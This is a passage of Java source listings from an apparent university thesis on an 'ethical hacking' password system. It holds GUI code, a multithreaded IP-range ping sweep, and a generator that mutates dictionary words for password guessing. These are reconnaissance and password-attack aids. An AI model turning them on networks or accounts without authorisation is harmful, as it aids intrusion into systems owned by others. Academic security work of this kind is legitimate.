javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF"));

Page 205: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

190

ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de_menu.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { acerca_de_menuActionPerformed(evt); } }); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salida.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salidaActionPerformed(evt); } }); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(botonscan, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(botonreportes,

Page 206: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

191

org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonayuda, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.TRAILING, botonacercade, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE) .add(botonsalir, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 109, Short.MAX_VALUE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(147, 147, 147) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 192, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(135, 135, 135) .add(jLabel3) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 214, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(112, 112, 112) .add(jLabel6)) .add(layout.createSequentialGroup() .add(136, 136, 136) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 221, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(52, 52, 52) .add(reloj) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 204, Short.MAX_VALUE) .add(fecha, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 267, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel2) .add(78, 78, 78)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel1) .add(166, 166, 166))))

Page 207: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

192

); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .add(9, 9, 9) .add(jLabel3) .add(9, 9, 9) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(layout.createSequentialGroup() .add(jLabel4) .add(20, 20, 20) .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(reloj) .add(fecha))) .add(layout.createSequentialGroup() .add(botonscan, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonreportes, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonayuda, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonacercade, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonsalir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41,

Page 208: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

193

org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap(org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-682)/2, (screenSize.height-477)/2, 682, 477); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir s = new salir(); s.show(); } private void acerca_de_menuActionPerformed(java.awt.event.ActionEvent evt) { creditos e = new creditos(); e.show(); } private void botonscanActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void botonayudaActionPerformed(java.awt.event.ActionEvent evt) { } private void botonestadisticasActionPerformed(java.awt.event.ActionEvent evt) { } private void botonacercadeActionPerformed(java.awt.event.ActionEvent evt) { creditos ss = new creditos(); ss.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) {

Page 209: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

194

} private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_principal().setVisible(true); } }); } private Fecha time; private Reloj clock; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton botonacercade; private javax.swing.JButton botonayuda; private javax.swing.JButton botonestadisticas; private javax.swing.JButton botonreportes; private javax.swing.JButton botonsalir; private javax.swing.JButton botonscan; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JLabel fecha; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JLabel reloj; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; }

Page 210: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

195

Constants.java

public interface Constants { public static final int PING_PER_THREAD = 10; public static final int MAX_THREAD_COUNT = 100; } import java.io.PrintStream; final class Timer { public Timer() { reset(); } public void start() { System.gc(); start = System.currentTimeMillis(); } public void end() { System.gc(); end = System.currentTimeMillis(); } public long duration() { return end - start; } public void reset() { start = 0L; end = 0L; } public static void main(String s[]) { Timer t = new Timer(); t.start(); for(int i = 0; i < 80; i++) System.out.print("."); t.end(); System.out.println("\n" + t.duration()); } private long start; private long end; }

Page 211: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

196

Ping_swep_start.java

import java.io.PrintStream; public class PingSweepStart extends Thread implements Constants { public PingSweepStart(String ip_range_beginnig, String ip_range_end) { total_result = new StringBuffer(); ip_range_beginning = BasicIPTools.find_lesser_address(ip_range_beginnig, ip_range_end); this.ip_range_end = BasicIPTools.find_greater_address(ip_range_beginnig, ip_range_end); thread_count = BasicIPTools.get_required_host_count(ip_range_beginning, this.ip_range_end); calculate_required_thread(); ping_threads = new PingThread[thread_count]; } private void calculate_required_thread() { if(thread_count % 10 != 0) { thread_count /= 10; thread_count++; } else { thread_count /= 10; } } public static void main(String arg[]) throws InterruptedException { PingSweepStart a = new PingSweepStart("10.0.0.1", "10.0.0.45"); a.start(); a.join(); System.out.println("Bitti"); PingSweepStart b = new PingSweepStart("10.0.0.46", "10.0.0.75"); b.start(); b.join(); } public void run() { startSweeping(); do try {

Page 212: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

197

sleep(1000L); } catch(InterruptedException e) { e.printStackTrace(); } while(!check_if_sweep_completed()); System.out.print(get_result_of_scan()); } public StringBuffer get_result_of_scan() { return total_result; } private boolean check_if_sweep_completed() { for(int i = 0; i < thread_count - 1; i++) if(ping_threads[i].isAlive()) return false; return true; } private void startSweeping() { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 10); while(i < thread_count) { if(!if_exceeds(start_ip, ip_range_end, 10)) { ping_threads[i] = new PingThread(start_ip, stop_ip, total_result); ping_threads[i].start(); stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 10); i++; continue; } ping_threads[i] = new PingThread(start_ip, ip_range_end, total_result); ping_threads[i].start(); break; } } private boolean if_exceeds(String start_ip, String end_ip, int Step) { String after_addition = BasicIPTools.increase_IP(start_ip, Step); return after_addition.equals(BasicIPTools.find_greater_address(after_addition, end_ip)); }

Page 213: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

198

private String ip_range_beginning; private String ip_range_end; private int thread_count; private PingThread ping_threads[]; private StringBuffer total_result; private String cadena_ip_final; }

Pinger.java

import java.io.PrintStream; public class Pinger { public Pinger() { } public static void main(String arg[]) { boolean comprobacion = false; String ip_adres[] = { "192.168.31.1", "192.168.100.100", "10.0.0.3", "10.0.0.4", "10.0.0.5", "10.0.0.6", "127.0.0.1" }; for(int i = 0; i < ip_adres.length; i++) { System.out.print("Direccion IP : " + ip_adres[i] + " "); try { comprobacion = windows_ping(ip_adres[i]); } catch(Exception e) { e.printStackTrace(); } if(comprobacion) System.out.println("Activa..."); else System.out.println("Inactiva!"); } } public static boolean windows_ping(String ip) throws Exception { Process p = Runtime.getRuntime().exec("ping -w 1 -l 8 " + ip); int status = p.waitFor(); return status == 0; } }

Page 214: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

199

Genera_palabras.java

import java.io.*; import java.lang.*; public class genera_palabras extends javax.swing.JFrame { public genera_palabras() { initComponents(); } private void initComponents() { jButton1 = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jButton1.setText("GENERA"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(94, 94, 94) .add(jButton1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 186, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap(120, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(139, Short.MAX_VALUE) .add(jButton1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 113, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(48, 48, 48)) ); pack(); }// </editor-fold> private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { try{ BufferedWriter w = new BufferedWriter(new FileWriter("/root/Desktop/salida")); //is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/diccionario_completo")); BufferedReader is = new BufferedReader(new FileReader ("/root/Desktop/diccionario_test"));

Page 215: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

200

while (is.ready()) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); //\|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµ·:ª!"·$%&/()=?¿Çº*' aux = aax + "½"; w.newLine(); w.write(aux); } is.close(); w.close(); }catch (IOException e) { Msg a=new Msg("Aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo leer el archivo de diccionarios de palabras","consulte con la ayuda del sistema","gracias..."); System.out.println ("Error al leer el archivo"); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new genera_palabras().setVisible(true); } }); } static String aux=""; static String aax =""; private javax.swing.JButton jButton1; }

Scan_ip_range.java

import java.io.PrintStream; import javax.swing.JOptionPane; public class ScanIPRange implements Constants { public ScanIPRange(){} public ScanIPRange(String ip_range_beginning, String ip_range_end) { this.ip_range_beginning = ip_range_beginning; this.ip_range_end = ip_range_end; loop_count = BasicIPTools.get_required_host_count(this.ip_range_beginning, this.ip_range_end); calculate_required_loop(); }

Page 216: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

201

public void empezar(String ip_inicial,String ip_final) throws InterruptedException { first_ip = ip_inicial; last_ip= ip_final; Timer t = new Timer(); t.start(); ScanIPRange a = new ScanIPRange(first_ip, last_ip); a.start_scan(); t.end(); System.out.println("\n\n**************************"); System.out.println("ESCANEO DE IP: " + first_ip + " - " + last_ip); System.out.println("por sistema de hacking de passwords--duracion::\t" + t.duration() + " (ms)"); System.out.println("**************************"); } public void start_scan() throws InterruptedException { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 100); for(; i < loop_count; System.gc()) { PingSweepStart sweep; if(!if_exceeds(start_ip, ip_range_end, 100)) { sweep = new PingSweepStart(start_ip, stop_ip); sweep.start(); sweep.join(); sweep = null; stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 100); i++; continue; } sweep = new PingSweepStart(start_ip, ip_range_end); sweep.start(); sweep.join(); sweep = null; break; } } private boolean if_exceeds(String start_ip, String end_ip, int Step) { String after_addition = BasicIPTools.increase_IP(start_ip, Step); return after_addition.equals(BasicIPTools.find_greater_address(after_addition,

Page 217: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

202

end_ip)); } private void calculate_required_loop() { if(loop_count % 100 != 0) { loop_count /= 100; loop_count++; } else { loop_count /= 100; } } static String first_ip=""; static String last_ip=""; public String ip; private String ip_range_beginning; private String ip_range_end; private int loop_count; }

Basic_ip_tools.java

public final class BasicIPTools { public BasicIPTools() { } public static String get_broadcast_address(String ip_address, String subnet_mask) { subnet_mask = not_address(subnet_mask); String network_address = get_network_address(ip_address, subnet_mask); return or_addresses(subnet_mask, network_address); } public static String get_network_address(String ip_address, String subnet_mask) { short numerik_parcalar[] = parseIP(ip_address); short subnet_adres_parcalari[] = parseIP(subnet_mask); for(byte i = 0; i < 4; i++) numerik_parcalar[i] |= subnet_adres_parcalari[i]; return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; }

Page 218: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

203

public static int get_required_host_count(String subnet_mask) { short ip_adres_parcalari[] = parseIP(subnet_mask); int sonuc = 1; for(byte i = 0; i < 4; i++) { short numerik_parca = ip_adres_parcalari[i]; if((numerik_parca ^= 0xff) != 0) sonuc *= ++numerik_parca; } return sonuc; } public static int get_required_host_count(String ip_range_beginning, String ip_range_end) { long ip_value_1 = 0L; long ip_value_2 = 0L; String ip_real_beginning = find_lesser_address(ip_range_beginning, ip_range_end); String ip_real_end = find_greater_address(ip_range_beginning, ip_range_end); short ip_1[] = parseIP(ip_real_beginning); short ip_2[] = parseIP(ip_real_end); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return (int)((ip_value_2 - ip_value_1) + 1L); } public static String increase_IP(String ip_address) { short numerik_parcalar[] = parseIP(ip_address); numerik_parcalar[3]++; for(byte i = 3; i > 0; i--) if(numerik_parcalar[i] > 255) { numerik_parcalar[i] -= 256; numerik_parcalar[i - 1]++; } if(numerik_parcalar[0] > 255) numerik_parcalar[0] = 0; return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } public static String increase_IP(String ip_address, int Step) { short numerik_parcalar[] = parseIP(ip_address); for(int j = 0; j++ < Step;)

Page 219: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

204

{ numerik_parcalar[3]++; for(byte i = 3; i > 0; i--) if(numerik_parcalar[i] > 255) { numerik_parcalar[i] -= 256; numerik_parcalar[i - 1]++; } if(numerik_parcalar[0] > 255) numerik_parcalar[0] = 0; } return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } public static boolean check_equality(String adres_1, String adres_2) { short parcalar_1[] = parseIP(adres_1); short parcalar_2[] = parseIP(adres_2); for(byte i = 0; i < 4; i++) if(parcalar_1[i] != parcalar_2[i]) return false; return true; } public static String find_greater_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_greater(address_1, address_2)) return address_1; else return address_2; } public static String find_lesser_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_lesser(address_1, address_2)) return address_1; else return address_2; } private static short[] parseIP(String ip_address) { String parcalar[] = ip_address.split("\\."); if(parcalar.length != 4) return null; short ipAdr[] = new short[4]; for(byte i = 0; i < parcalar.length; i++)

Page 220: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

205

ipAdr[i] = Short.parseShort(parcalar[i]); return ipAdr; } private static String or_addresses(String address_1, String address_2) { short adres_parcalari_1[] = parseIP(address_1); short adres_parcalari_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) adres_parcalari_1[i] |= adres_parcalari_2[i]; return adres_parcalari_1[0] + "." + adres_parcalari_1[1] + "." + adres_parcalari_1[2] + "." + adres_parcalari_1[3]; } private static String not_address(String address) { short numerik_parcalar[] = parseIP(address); for(byte i = 0; i < 4; i++) numerik_parcalar[i] = (short)(255 - numerik_parcalar[i]); return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } private static boolean check_lesser(String address_1, String address_2) { long ip_value_1 = 0L; long ip_value_2 = 0L; short ip_1[] = parseIP(address_1); short ip_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return ip_value_1 < ip_value_2; } private static boolean check_greater(String address_1, String address_2) { long ip_value_1 = 0L; long ip_value_2 = 0L; short ip_1[] = parseIP(address_1); short ip_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return ip_value_1 > ip_value_2; } }

Page 221: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

206

ping_thread.java

public class PingThread extends Thread { public PingThread(String ip_range_begin, String ip_range_end, StringBuffer total_result) { local_result = new StringBuffer(); cadena_ip_buffer = new StringBuffer(); this.goal=goal; this.ips=ips; this.ip_range_beginning = ip_range_begin.trim(); this.ip_range_end = ip_range_end.trim(); this.total_result = total_result; } public PingThread(){ } public void run() { String temp_beginning = ip_range_beginning; while(!BasicIPTools.check_equality(ip_range_beginning, ip_range_end)) if(ip_range_beginning.endsWith(".0") || ip_range_beginning.endsWith("255")) { ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } else { try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } } catch(Exception exception) { } ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } try { if(Pinger.windows_ping(ip_range_beginning))

Page 222: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

207

{ local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); } goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } catch(Exception exception1) { } if(local_result.toString() != null) local_result.append("\n"); total_result.append(temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango\n" + local_result); goal= goal + '\n'; goal = goal + temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango"+'\n' + local_result.toString(); } public String get_resultado(){ return goal; } public String get_ips() { return ips; } public void print(){ System.out.println(""+cadena_ip+""); } public static void main(String arg[]) { PingThread a[] = new PingThread[5]; } static String a; private String ip_range_beginning; private String ip_range_end; static String cadena_ip; static String ips=""; static String goal=""; static StringBuffer total_result; static StringBuffer cadena_ip_buffer; private StringBuffer local_result; }

pantalla_scan.java

import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane;

Page 223: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

208

public class pantalla_scan extends javax.swing.JFrame{ public pantalla_scan() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); reloj = new javax.swing.JLabel(); fecha = new javax.swing.JLabel(); botonscanIP = new javax.swing.JButton(); botonhackeo = new javax.swing.JButton(); botonscanPUERTOS = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jPanel1 = new javax.swing.JPanel(); jPanel2 = new javax.swing.JPanel(); jLabel3 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); tabla_scan_puertos = new javax.swing.JTable(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_scan_ip = new javax.swing.JTable(); boton_limpiar = new javax.swing.JButton(); boton_retorno_principla = new javax.swing.JButton(); boton_guardar_log = new javax.swing.JButton(); jScrollPane1 = new javax.swing.JScrollPane(); texto_scan_ip = new javax.swing.JEditorPane(); jLabel4 = new javax.swing.JLabel(); jScrollPane2 = new javax.swing.JScrollPane(); texto_scan_puertos = new javax.swing.JEditorPane(); jLabel7 = new javax.swing.JLabel(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem();

Page 224: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

209

